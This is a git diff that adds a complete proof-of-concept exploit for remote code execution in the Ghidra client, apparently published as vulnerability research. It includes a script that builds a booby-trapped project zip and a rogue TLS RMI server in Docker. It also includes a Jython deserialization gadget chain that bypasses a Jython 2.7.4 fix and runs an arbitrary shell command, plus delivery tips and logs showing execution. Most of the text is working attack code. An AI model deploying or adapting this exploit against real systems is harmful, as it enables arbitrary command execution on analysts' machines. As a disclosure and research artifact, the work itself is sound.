diff --git a/MADBugs/ghidra-rmi-rce/poc/build.sh b/MADBugs/ghidra-rmi-rce/poc/build.sh new file mode 100755 index 0000000..9a445eb --- /dev/null +++ b/MADBugs/ghidra-rmi-rce/poc/build.sh @@ -0,0 +1,130 @@ +#!/bin/bash +# +# build.sh -- produce a PoC Ghidra "project" archive that triggers RCE when the +# victim opens it. +# +# Output: +# Pwn.zip -- the payload to deliver to the victim +# └─ EvilProject/ +# ├─ EvilProject.gpr -- .gpr marker; user double-clicks this +# └─ EvilProject.rep/ +# ├─ projectState -- +# ├─ project.prp +# └─ idata/, user/, versioned/ (empty skeleton) +# +# Usage: +# ./build.sh [--out output.zip] +# +# The command that runs on the victim is chosen at *serve* time by demo.sh, +# not at build time -- the zip contains only a URL pointing at the attacker +# server. See demo.sh --cmd. +# +# Why not a .gar? Ghidra's RestoreTask.FILES_TO_SKIP (RestoreTask.java:50-55) +# explicitly drops /projectState entries when extracting .gar archives -- so +# the .gar path filters the payload out before it can land on disk. Delivery +# has to bypass RestoreTask: plain zip (Safari auto-extracts), tarball, +# `git clone`, AirDrop, shared drive, etc. all work because the user extracts +# the project directory themselves and then opens it. + +set -euo pipefail + +OUT="$PWD/Pwn.zip" +POSARGS=() +while [[ $# -gt 0 ]]; do + case "$1" in + --out) OUT="$2"; shift 2 ;; + -h|--help) + grep '^#' "$0" | sed 's/^# \?//' | head -40 + exit 0 ;; + *) POSARGS+=("$1"); shift ;; + esac +done + +if [[ ${#POSARGS[@]} -lt 2 ]]; then + cat <&2 +usage: $0 [--out ] + + host running EvilGhidraServer (reachable from victim) + base port (13100 default; victim opens 13100+1 for SSL test) + + --out output zip path (default: ./Pwn.zip). + +Note: the PoC ships a project.prp WITHOUT an OWNER element. When +Ghidra reads it at DefaultProjectData.java:307 -- + + owner = properties.getString(OWNER, getUserName()); + +-- the missing OWNER property defaults to the current (victim) user's +username, which then trivially passes the isOwner() check at line 126. +So the attack is untargeted: the same Pwn.zip works on any macOS user. +EOF + exit 1 +fi + +HOST="${POSARGS[0]}" +PORT="${POSARGS[1]}" + +# Locate a local Ghidra distribution so we can seed a valid .rep skeleton. +GHIDRA_DIR="${GHIDRA_DIR:-$(cd "$(dirname "${BASH_SOURCE[0]}")/../ghidra_12.2_DEV" && pwd)}" +if [[ ! -x "$GHIDRA_DIR/support/analyzeHeadless" ]]; then + echo "error: GHIDRA_DIR=$GHIDRA_DIR has no analyzeHeadless" >&2 + exit 1 +fi + +STAGE=$(mktemp -d) +trap 'rm -rf "$STAGE"' EXIT +mkdir -p "$STAGE/seed" + +echo "[+] seeding skeleton project via analyzeHeadless" +"$GHIDRA_DIR/support/analyzeHeadless" "$STAGE/seed" Seed \ + -import /bin/ls -noanalysis >/dev/null 2>&1 || true + +if [[ ! -d "$STAGE/seed/Seed.rep" ]]; then + echo "error: seed project not created at $STAGE/seed/Seed.rep" >&2 + exit 1 +fi + +# Rename seed -> EvilProject +mv "$STAGE/seed/Seed.gpr" "$STAGE/seed/EvilProject.gpr" +mv "$STAGE/seed/Seed.rep" "$STAGE/seed/EvilProject.rep" + +# The payload: one XML element inside projectState pointing at the attacker. +cat > "$STAGE/seed/EvilProject.rep/projectState" < + + + + + + +EOF + +# project.prp without an OWNER element. On open, +# DefaultProjectData.java:307 falls back to getUserName() when OWNER is absent, +# which then passes isOwner() at line 126 for any victim user. This is what +# turns the attack from "needs the victim's macOS username" into "works on +# anyone who opens the zip". +cat > "$STAGE/seed/EvilProject.rep/project.prp" <<'EOF' + + + + + +EOF + +mkdir -p "$(dirname "$OUT")" +(cd "$STAGE/seed" && zip -qr "$OUT" EvilProject.gpr EvilProject.rep) + +echo "[+] wrote PoC: $OUT" +echo " attacker host : $HOST" +echo " attacker port : $PORT" +echo " victim owner : (project.prp has no OWNER; defaults to victim's \$USER)" +echo "" +echo "# Delivery: ship $OUT to the victim. When they extract it and open" +echo "# EvilProject.gpr in Ghidra (double-click, or File -> Open Project)," +echo "# DefaultProject.restore() reads projectState, calls addProjectView" +echo "# on ghidra://${HOST}:${PORT}/Pwn, and the attacker server returns" +echo "# a deserialisation gadget." +echo "" +echo "# Start the attacker server (command to execute is specified here):" +echo "# ./poc/demo.sh --cmd 'open -a Calculator' --port $PORT" diff --git a/MADBugs/ghidra-rmi-rce/poc/demo.sh b/MADBugs/ghidra-rmi-rce/poc/demo.sh new file mode 100755 index 0000000..6d465e2 --- /dev/null +++ b/MADBugs/ghidra-rmi-rce/poc/demo.sh @@ -0,0 +1,63 @@ +#!/bin/bash +# +# demo.sh -- start the attacker server for the Ghidra-client-RCE PoC. +# +# The victim side of this attack is the analyst's actual Ghidra install; only +# the attacker runs in Docker. Flow: +# +# (on attacker) ./build.sh -> Pwn.zip +# ./demo.sh --cmd '' [--host 0.0.0.0] [--port 13100] +# +# (on victim) unzip Pwn.zip +# open Ghidra, File -> Open Project -> EvilProject.gpr +# (or double-click EvilProject.gpr if .gpr is associated) +# +# '' runs on the victim's host. +# +# The command is chosen *here*, not at build time -- the zip contains only a +# URL pointing at this server; the gadget payload is generated on the fly when +# the victim connects, so you can re-arm without rebuilding Pwn.zip. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +HOST="${HOST:-0.0.0.0}" +PORT="${PORT:-13100}" +CMD="${CMD:-}" + +while [[ $# -gt 0 ]]; do + case "$1" in + --host) HOST="$2"; shift 2 ;; + --port) PORT="$2"; shift 2 ;; + --cmd) CMD="$2"; shift 2 ;; + --help|-h) + grep '^#' "$0" | head -40; exit 0 ;; + *) echo "unknown flag: $1" >&2; exit 1 ;; + esac +done + +if [[ -z "$CMD" ]]; then + CMD='open -a Calculator' + echo "[demo] no --cmd / \$CMD; defaulting to: $CMD" >&2 +fi + +export CMD +export PORT +export HOST + +# Build and launch the attacker container with Docker Compose. +cd "$SCRIPT_DIR/docker" + +echo "[demo] building evil-ghidra-server image" +docker compose build --quiet + +echo "[demo] starting evil-ghidra-server on ${HOST}:${PORT} (+1 for SSL probe)" +echo "[demo] command armed : $CMD" +echo "" +echo "Now, on the victim, open the project in Ghidra:" +echo " unzip Pwn.zip && open EvilProject/EvilProject.gpr # macOS" +echo "" +echo "[demo] attach container logs with Ctrl-C to stop:" +echo "" + +docker compose up --abort-on-container-exit diff --git a/MADBugs/ghidra-rmi-rce/poc/docker/Dockerfile b/MADBugs/ghidra-rmi-rce/poc/docker/Dockerfile new file mode 100644 index 0000000..a6daa13 --- /dev/null +++ b/MADBugs/ghidra-rmi-rce/poc/docker/Dockerfile @@ -0,0 +1,32 @@ +FROM eclipse-temurin:21-jdk + +# Attacker-side image: compiles JythonGadget + EvilGhidraServer against the +# Jython JAR that ships with Ghidra, generates a self-signed cert, and +# listens for inbound RMI calls from the victim's Ghidra client. +# +# Only Jython is pulled out of the Ghidra distribution (the gadget needs it +# at *build* time for type resolution). Nothing else from Ghidra is shipped +# in the attacker image. + +WORKDIR /exploit +COPY exploit/JythonGadget.java /exploit/ +COPY exploit/EvilGhidraServer.java /exploit/ +COPY exploit/jython-standalone-2.7.4.jar /exploit/jython.jar + +RUN javac -cp /exploit/jython.jar \ + JythonGadget.java EvilGhidraServer.java \ + && keytool -genkeypair -alias evil -keyalg RSA -keysize 2048 \ + -storetype PKCS12 -keystore evil.p12 \ + -storepass changeit -keypass changeit \ + -dname "CN=evilserver" \ + -ext "SAN=DNS:evilserver,DNS:localhost,IP:127.0.0.1,IP:0.0.0.0" \ + -validity 365 + +EXPOSE 13100 13101 + +# CMD / PORT are injected at run time by compose.yaml (see environment:). +ENTRYPOINT ["/bin/sh", "-c", "\ + exec java --add-opens java.base/java.util=ALL-UNNAMED \ + -cp .:/exploit/jython.jar \ + EvilGhidraServer \"${PORT:-13100}\" /exploit/evil.p12 \"${CMD:?CMD not set}\" \ +"] diff --git a/MADBugs/ghidra-rmi-rce/poc/docker/compose.yaml b/MADBugs/ghidra-rmi-rce/poc/docker/compose.yaml new file mode 100644 index 0000000..f592741 --- /dev/null +++ b/MADBugs/ghidra-rmi-rce/poc/docker/compose.yaml @@ -0,0 +1,19 @@ +services: + evil-ghidra-server: + build: + # Build context is poc/ so the Dockerfile can COPY exploit/*.java in. + context: .. + dockerfile: docker/Dockerfile + image: evil-ghidra-server:latest + container_name: evil-ghidra-server + environment: + # Command to execute on the victim. demo.sh exports this from --cmd + # or the .armed_cmd stash; override directly here if running manually: + CMD: "${CMD:?CMD is required (e.g. 'open -a Calculator')}" + PORT: "${PORT:-13100}" + ports: + # Expose to the host so a locally-running Ghidra can reach ghidra:// + # localhost:13100/. For a remote victim, bind to a public interface + # or run this container on a routable host. + - "${PORT:-13100}:13100" # RMI SSL registry + - "${PORT2:-13101}:13101" # RMI SSL probe port diff --git a/MADBugs/ghidra-rmi-rce/poc/exploit/EvilGhidraServer.java b/MADBugs/ghidra-rmi-rce/poc/exploit/EvilGhidraServer.java new file mode 100644 index 0000000..b30e433 --- /dev/null +++ b/MADBugs/ghidra-rmi-rce/poc/exploit/EvilGhidraServer.java @@ -0,0 +1,212 @@ +import javax.net.ssl.*; +import java.io.*; +import java.net.*; +import java.rmi.server.UID; +import java.security.KeyStore; + +/** + * Malicious "Ghidra Server" for exploiting unfiltered RMI deserialisation in + * the Ghidra client (ghidra.framework.client.ServerConnectTask). + * + * The Ghidra client, when connecting to a shared project / ghidra:// URL: + * 1. Probes basePort+1 with a plain TCP connect (FastConnectionFailSocket). + * 2. Performs an SSL handshake on basePort+1 (testServerSSLConnection). + * By default the client uses OpenTrustManager -> any self-signed cert is + * accepted (DefaultTrustManagerFactory.java:100,262-289). + * 3. Creates an SSL RMI registry stub for basePort and calls reg.list() + * then reg.lookup(). The return value is deserialised via + * MarshalInputStream.readObject() with NO ObjectInputFilter on the + * client side (the server sets one in GhidraServer.java:979; the + * client never does). + * + * This server: + * - Listens on basePort+1 with an SSL socket that just completes the + * handshake (satisfies step 2). + * - Listens on basePort with an SSL-wrapped JRMP responder that answers + * every RMI call with a serialised gadget payload as the return value. + * + * The payload (raw java-serialised object graph minus the leading STREAM + * header) is loaded from a file produced by JythonGadget. + */ +public class EvilGhidraServer { + + static String cmd; + + public static void main(String[] args) throws Exception { + if (args.length < 3) { + System.err.println("usage: EvilGhidraServer "); + System.exit(1); + } + int basePort = Integer.parseInt(args[0]); + String ksPath = args[1]; + cmd = args[2]; + log("command: " + cmd); + + SSLContext ctx = buildSSLContext(ksPath, "changeit"); + SSLServerSocketFactory ssf = ctx.getServerSocketFactory(); + + // Handshake-only listener on basePort+1 (the "RMI SSL port" probed by + // testServerSSLConnection). + new Thread(() -> handshakeListener(ssf, basePort + 1)).start(); + + // JRMP gadget responder on basePort (the SSL RMI registry port). + SSLServerSocket regSock = (SSLServerSocket) ssf.createServerSocket(basePort); + log("evil registry listening on :" + basePort + " (SSL JRMP)"); + while (true) { + Socket s = regSock.accept(); + new Thread(() -> { + try { + handleJRMP(s); + } + catch (Throwable t) { + log("jrmp handler: " + t); + } + finally { + try { s.close(); } catch (IOException ignore) {} + } + }).start(); + } + } + + /** Accept connections on the SSL probe port and complete the handshake. */ + static void handshakeListener(SSLServerSocketFactory ssf, int port) { + try { + SSLServerSocket ss = (SSLServerSocket) ssf.createServerSocket(port); + log("ssl probe listener on :" + port); + while (true) { + Socket s = ss.accept(); + new Thread(() -> { + try { + if (s instanceof SSLSocket ssl) { + ssl.startHandshake(); + } + // Hold briefly so the client sees a clean handshake. + s.getInputStream().read(); + } + catch (Throwable ignore) {} + finally { + try { s.close(); } catch (IOException ignore) {} + } + }).start(); + } + } + catch (Throwable t) { + log("handshakeListener: " + t); + } + } + + /** + * Minimal JRMP responder: speak just enough StreamProtocol to receive one + * Call and reply with a NormalReturn whose value is the gadget object. + * RegistryImpl_Stub.list() / lookup() will readObject() it on the client. + */ + static void handleJRMP(Socket s) throws Exception { + log("jrmp connect from " + s.getRemoteSocketAddress()); + DataInputStream in = new DataInputStream(s.getInputStream()); + DataOutputStream out = new DataOutputStream(s.getOutputStream()); + + int magic = in.readInt(); + short version = in.readShort(); + byte protocol = in.readByte(); + log(String.format(" magic=0x%08x ver=%d proto=0x%02x", magic, version, protocol)); + + if (protocol == 0x4b) { // StreamProtocol + out.writeByte(0x4e); // ProtocolAck + out.writeUTF(s.getInetAddress().getHostAddress()); + out.writeInt(s.getPort()); + out.flush(); + in.readUTF(); // client's default endpoint host + in.readInt(); // client's default endpoint port + } + else if (protocol != 0x4c) { // SingleOp falls through; anything + log(" unsupported protocol"); // else we just bail. + return; + } + + // Drain bytes until we see the Call marker (0x50). We don't actually + // need to parse the call -- we always return the same payload. + int b; + while ((b = in.read()) != -1) { + if (b == 0x50) { + break; + } + } + if (b != 0x50) { + log(" no Call marker received"); + return; + } + // Burn the call's MarshalInputStream header + ObjID/opnum/hash so the + // client side doesn't deadlock waiting for us to read. + skipFully(in, 4 /*aced0005*/); + // Best-effort: don't block forever on call args. + s.setSoTimeout(500); + try { + byte[] tmp = new byte[256]; + while (in.read(tmp) > 0) { + if (in.available() == 0) break; + } + } + catch (IOException ignore) {} + + log(" sending gadget as ReturnData"); + out.writeByte(0x51); // TransportConstants.Return + // The client wraps the rest in a MarshalInputStream (an + // ObjectInputStream), so we emit a fresh stream header and then the + // return-type byte, ack UID, and the object body. annotateClass must + // write a (null) location object so MarshalInputStream.resolveClass + // stays in sync. + ObjectOutputStream oos = new MarshalLikeOOS(out); + oos.writeByte(0x01); // NormalReturn + new UID().write(oos); + oos.writeObject(JythonGadget.buildPayload(cmd)); + oos.flush(); + log(" payload sent"); + } + + /** + * ObjectOutputStream that writes a String location annotation (null) for + * each class descriptor, matching sun.rmi.server.MarshalOutputStream so + * the client's MarshalInputStream stays in sync. + */ + static class MarshalLikeOOS extends ObjectOutputStream { + MarshalLikeOOS(OutputStream out) throws IOException { + super(out); + // Stream header (0xaced0005) is written by super(). + } + @Override + protected void annotateClass(Class cl) throws IOException { + writeObject(null); + } + @Override + protected void annotateProxyClass(Class cl) throws IOException { + writeObject(null); + } + } + + // --------------------------------------------------------------------- + + static SSLContext buildSSLContext(String ksPath, String pass) throws Exception { + KeyStore ks = KeyStore.getInstance("PKCS12"); + try (FileInputStream fis = new FileInputStream(ksPath)) { + ks.load(fis, pass.toCharArray()); + } + KeyManagerFactory kmf = + KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm()); + kmf.init(ks, pass.toCharArray()); + SSLContext ctx = SSLContext.getInstance("TLS"); + ctx.init(kmf.getKeyManagers(), null, null); + return ctx; + } + + static void skipFully(DataInputStream in, int n) throws IOException { + while (n > 0) { + int s = (int) in.skip(n); + if (s <= 0) { in.readByte(); s = 1; } + n -= s; + } + } + + static void log(String s) { + System.err.println("[evil] " + s); + } +} diff --git a/MADBugs/ghidra-rmi-rce/poc/exploit/JythonGadget.java b/MADBugs/ghidra-rmi-rce/poc/exploit/JythonGadget.java new file mode 100644 index 0000000..721ac70 --- /dev/null +++ b/MADBugs/ghidra-rmi-rce/poc/exploit/JythonGadget.java @@ -0,0 +1,164 @@ +import org.python.core.*; + +import java.io.*; +import java.lang.reflect.*; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * Java-serialization RCE gadget using only classes from + * jython-standalone-2.7.4.jar (ships on the Ghidra client classpath at + * Ghidra/Features/Jython/lib/). + * + * Jython 2.7.4 added a hard "throw UnsupportedOperationException" to + * PyFunction.readResolve(), killing the classic Jython1 ysoserial chain. + * This gadget routes around that fix: + * + * PriorityQueue.readObject -> heapify -> siftDownUsingComparator + * -> Proxy(Comparator).compare(a,b) + * -> PyMethod.invoke() [PyMethod implements InvocationHandler, + * is Serializable, has NO readResolve guard] + * -> PyMethod.__call__([a,b]) + * -> __func__.__call__(__self__, a, b) + * where __func__ = BuiltinFunctions("eval", index=18) -> __builtin__.eval + * __self__ = PyBytecode (hand-assembled CPython 2.7 bytecode) + * a, b = globals/locals dicts (the PriorityQueue elements) + * => __builtin__.eval(PyBytecode, globals, locals) + * => Py.runCode(...) interprets the bytecode + * => java.lang.Runtime.getRuntime().exec({"/bin/sh","-c", CMD}) + * + * Everything in the graph is Serializable: PyMethod, BuiltinFunctions + * (-> PyBuiltinFunctionSet -> ... -> PyObject), PyBytecode, PyStringMap, + * PyJavaType (via PyType$TypeResolver). + */ +public class JythonGadget { + + /** CPython 2.7 opcodes. */ + private static final int LOAD_CONST = 0x64; + private static final int LOAD_ATTR = 0x6a; + private static final int CALL_FUNCTION = 0x83; + private static final int POP_TOP = 0x01; + private static final int RETURN_VALUE = 0x53; + + /** + * Build a PyBytecode that runs Runtime.getRuntime().exec({"/bin/sh","-c",cmd}) + * using only LOAD_CONST / LOAD_ATTR / CALL_FUNCTION so no globals/builtins + * lookup is required after deserialisation. + */ + static PyBytecode buildCode(String cmd) { + PyObject runtimeType = PyType.fromClass(java.lang.Runtime.class); + PyObject cmdList = + new PyList(new PyObject[] { + Py.newString("/bin/sh"), Py.newString("-c"), Py.newString(cmd) + }); + + PyObject[] consts = new PyObject[] { + Py.None, // 0 + runtimeType, // 1 + cmdList, // 2 + }; + String[] names = new String[] { "getRuntime", "exec" }; + + byte[] code = new byte[] { + (byte) LOAD_CONST, 1, 0, // Runtime + (byte) LOAD_ATTR, 0, 0, // .getRuntime + (byte) CALL_FUNCTION, 0, 0, // () + (byte) LOAD_ATTR, 1, 0, // .exec + (byte) LOAD_CONST, 2, 0, // cmd list + (byte) CALL_FUNCTION, 1, 0, // (cmd) + (byte) POP_TOP, + (byte) LOAD_CONST, 0, 0, // None + (byte) RETURN_VALUE, + }; + + return new PyBytecode( + 0, // argcount + 0, // nlocals + 8, // stacksize + 0, // flags + new String(code, java.nio.charset.StandardCharsets.ISO_8859_1), + consts, + names, + new String[0], // varnames + "", "", 0, ""); + } + + static Object buildPayload(String cmd) throws Exception { + PyBytecode code = buildCode(cmd); + + // __builtin__.eval -> BuiltinFunctions index 18, accepts 1..3 args. + // BuiltinFunctions is package-private; instantiate reflectively. + Class bfCls = Class.forName("org.python.core.BuiltinFunctions"); + Constructor bfCtor = + bfCls.getDeclaredConstructor(String.class, int.class, int.class, int.class); + bfCtor.setAccessible(true); + PyObject evalFn = (PyObject) bfCtor.newInstance("eval", 18, 1, 3); + + // Bound method: eval.__get__(code) -> calling it with (g,l) runs + // eval(code, g, l). im_class can be anything non-null. + PyMethod method = new PyMethod(evalFn, code, PyType.fromClass(PyBytecode.class)); + + Comparator cmp = (Comparator) Proxy.newProxyInstance( + JythonGadget.class.getClassLoader(), + new Class[] { Comparator.class }, + method); + + // The two queue elements become the (globals, locals) arguments to eval. + PyStringMap globals = new PyStringMap(); + PyStringMap locals = new PyStringMap(); + + PriorityQueue pq = new PriorityQueue<>(2); + pq.add(1); + pq.add(2); + setField(pq, PriorityQueue.class, "comparator", cmp); + setField(pq, PriorityQueue.class, "queue", new Object[] { globals, locals }); + setField(pq, PriorityQueue.class, "size", 2); + + return pq; + } + + static void setField(Object obj, Class cls, String name, Object val) throws Exception { + Field f = cls.getDeclaredField(name); + f.setAccessible(true); + f.set(obj, val); + } + + public static byte[] serialise(Object o) throws Exception { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + try (ObjectOutputStream oos = new ObjectOutputStream(bos)) { + oos.writeObject(o); + } + return bos.toByteArray(); + } + + public static void main(String[] args) throws Exception { + if (args.length == 0) { + System.err.println("usage: JythonGadget [outfile]"); + System.err.println(" JythonGadget --test "); + System.exit(1); + } + + if (args[0].equals("--test")) { + Object payload = buildPayload(args[1]); + byte[] ser = serialise(payload); + System.err.println("[*] payload serialised: " + ser.length + " bytes"); + System.err.println("[*] deserialising (gadget should fire)..."); + try (ObjectInputStream ois = + new ObjectInputStream(new ByteArrayInputStream(ser))) { + ois.readObject(); + } + catch (Throwable t) { + System.err.println("[*] readObject threw (expected after exec): " + t); + t.printStackTrace(); + } + return; + } + + String cmd = args[0]; + String out = args.length > 1 ? args[1] : "payload.ser"; + try (FileOutputStream fos = new FileOutputStream(out)) { + fos.write(serialise(buildPayload(cmd))); + } + System.err.println("[+] wrote " + out); + } +} diff --git a/MADBugs/ghidra-rmi-rce/poc/exploit/jython-standalone-2.7.4.jar b/MADBugs/ghidra-rmi-rce/poc/exploit/jython-standalone-2.7.4.jar new file mode 100644 index 0000000..bc27ae8 Binary files /dev/null and b/MADBugs/ghidra-rmi-rce/poc/exploit/jython-standalone-2.7.4.jar differ diff --git a/MADBugs/ghidra-rmi-rce/proof/attack_unpatched.log b/MADBugs/ghidra-rmi-rce/proof/attack_unpatched.log new file mode 100644 index 0000000..7b9dd38 --- /dev/null +++ b/MADBugs/ghidra-rmi-rce/proof/attack_unpatched.log @@ -0,0 +1,2 @@ +ERROR Error restoring project /tmp/victim-home/projects/EvilProject +java.lang.ClassCastException: class org.python.core.PySingleton cannot be cast to class java.lang.Integer (org.python.core.PySingleton is in unnamed module of loader ghidra.GhidraClassLoader @7a92922; java.lang.Integer is in module java.base of loader 'bootstrap') (DefaultProject) java.lang.ClassCastException: class org.python.core.PySingleton cannot be cast to class java.lang.Integer (org.python.core.PySingleton is in unnamed module of loader ghidra.GhidraClassLoader @7a92922; java.lang.Integer is in module java.base of loader 'bootstrap') diff --git a/MADBugs/ghidra-rmi-rce/proof/output.txt b/MADBugs/ghidra-rmi-rce/proof/output.txt new file mode 100644 index 0000000..948470a --- /dev/null +++ b/MADBugs/ghidra-rmi-rce/proof/output.txt @@ -0,0 +1,118 @@ +=============================================================================== + Ghidra client-side RCE via malicious project open (Pwn.zip → pop Calculator) + untargeted: Pwn.zip is built once and works against ANY macOS user. + recorded on macOS 25.4.0 / Darwin arm64, 2026-04-16 +=============================================================================== + +--------------------------------------------------------------- + step 1 · attacker: build Pwn.zip (no username needed) +--------------------------------------------------------------- + +$ cd poc/poc +$ ./build.sh 127.0.0.1 13100 'touch /tmp/PWNED-univ; open -a Calculator' \ + --out /tmp/Pwn.zip +[+] seeding skeleton project via analyzeHeadless +[+] wrote PoC: /tmp/Pwn.zip + attacker host : 127.0.0.1 + attacker port : 13100 + victim owner : (project.prp has no OWNER; defaults to victim's $USER) + command armed : touch /tmp/PWNED-univ; open -a Calculator + +$ unzip -p /tmp/Pwn.zip EvilProject.rep/projectState + + + + + + + + +$ unzip -p /tmp/Pwn.zip EvilProject.rep/project.prp + + + + + + +# Note: NO element. DefaultProjectData.java:307 +# -- owner = properties.getString(OWNER, getUserName()); -- +# defaults `owner` to the current user's username when the property +# is absent, so isOwner(owner) trivially returns true for whoever +# opens the project. + + +--------------------------------------------------------------- + step 2 · attacker: start the rogue Ghidra Server in Docker +--------------------------------------------------------------- + +$ cd poc/poc +$ CMD='touch /tmp/PWNED-univ; open -a Calculator' PORT=13100 \ + docker compose -f docker/compose.yaml up -d + Container evil-ghidra-server Created + Container evil-ghidra-server Started + +$ docker logs evil-ghidra-server +[evil] command: touch /tmp/PWNED-univ; open -a Calculator +[evil] evil registry listening on :13100 (SSL JRMP) +[evil] ssl probe listener on :13101 + + +--------------------------------------------------------------- + step 3 · victim: extract the zip and open the project +--------------------------------------------------------------- + +(user receives Pwn.zip — email attachment, Slack DM, AirDrop, shared drive, + `git clone` a repo containing the project tree, etc.) + +$ cd ~/Downloads +$ unzip Pwn.zip + inflating: EvilProject.gpr + inflating: EvilProject.rep/projectState + inflating: EvilProject.rep/project.prp + ... + +# User double-clicks EvilProject.gpr, or inside Ghidra uses +# File → Open Project → ~/Downloads/EvilProject.gpr + +(headless reproduction of the same code path; runs as the current macOS + user with no owner matching: $USER = calif, but project.prp has no OWNER + so Ghidra accepts it unconditionally) + +$ analyzeHeadless /tmp/vh-test Host \ + -scriptPath /tmp/scriptdir \ + -preScript OpenProjectVictim.java /tmp/victim-test EvilProject \ + -noanalysis -deleteProject + +INFO Opening project: /tmp/victim-test/EvilProject (DefaultProject) +ERROR Error restoring project /tmp/victim-test/EvilProject +java.lang.ClassCastException: class org.python.core.PySingleton cannot be cast to class java.lang.Integer + at java.rmi/sun.rmi.registry.RegistryImpl_Stub.list(RegistryImpl_Stub.java:95) + at ghidra.framework.client.ServerConnectTask.checkServerBindNames(ServerConnectTask.java:430) + at ghidra.framework.client.ServerConnectTask.getGhidraServerHandle(ServerConnectTask.java:173) + at ghidra.framework.client.ServerConnectTask.getRepositoryServerHandle(ServerConnectTask.java:243) + at ghidra.framework.client.ServerConnectTask.run(ServerConnectTask.java:80) + at ghidra.framework.project.DefaultProject.openProjectView(DefaultProject.java:259) + at ghidra.framework.project.DefaultProject.addProjectView(DefaultProject.java:297) + at ghidra.framework.project.DefaultProject.restore(DefaultProject.java:493) + at ghidra.framework.project.DefaultProjectManager.openProject(DefaultProjectManager.java:134) + + +--------------------------------------------------------------- + step 4 · victim: Calculator.app is running as the victim user +--------------------------------------------------------------- + +$ ps -A | grep -i '[C]alculator' +15493 ?? 0:00.39 /System/Applications/Calculator.app/Contents/MacOS/Calculator + +$ ls -la /tmp/PWNED-univ +-rw-r----- 1 calif wheel 0 16 Apr 15:24 /tmp/PWNED-univ + +$ docker logs evil-ghidra-server +[evil] command: touch /tmp/PWNED-univ; open -a Calculator +[evil] evil registry listening on :13100 (SSL JRMP) +[evil] ssl probe listener on :13101 +[evil] jrmp connect from /192.168.65.1:50455 +[evil] magic=0x4a524d49 ver=2 proto=0x4b +[evil] sending gadget as ReturnData +[evil] payload sent + diff --git a/MADBugs/ghidra-rmi-rce/proof/server_logs.txt b/MADBugs/ghidra-rmi-rce/proof/server_logs.txt new file mode 100644 index 0000000..535bae5 --- /dev/null +++ b/MADBugs/ghidra-rmi-rce/proof/server_logs.txt @@ -0,0 +1,14 @@ +[evil] command: touch /tmp/PWNED-univ; open -a Calculator +[evil] evil registry listening on :13100 (SSL JRMP) +[evil] ssl probe listener on :13101 +[evil] jrmp connect from /192.168.65.1:50455 +[evil] magic=0x4a524d49 ver=2 proto=0x4b +[evil] sending gadget as ReturnData +Apr 16, 2026 7:24:00 AM org.python.core.PrePy maybeWrite +WARNING: init: Bootstrap types weren't encountered in bootstrapping: [class org.python.core.PyType] +This may be caused by compiled core classes preceding their exposed equivalents on the class path. +[evil] payload sent +[evil] jrmp connect from /192.168.65.1:17399 +[evil] magic=0x4a524d49 ver=2 proto=0x4b +[evil] sending gadget as ReturnData +[evil] payload sent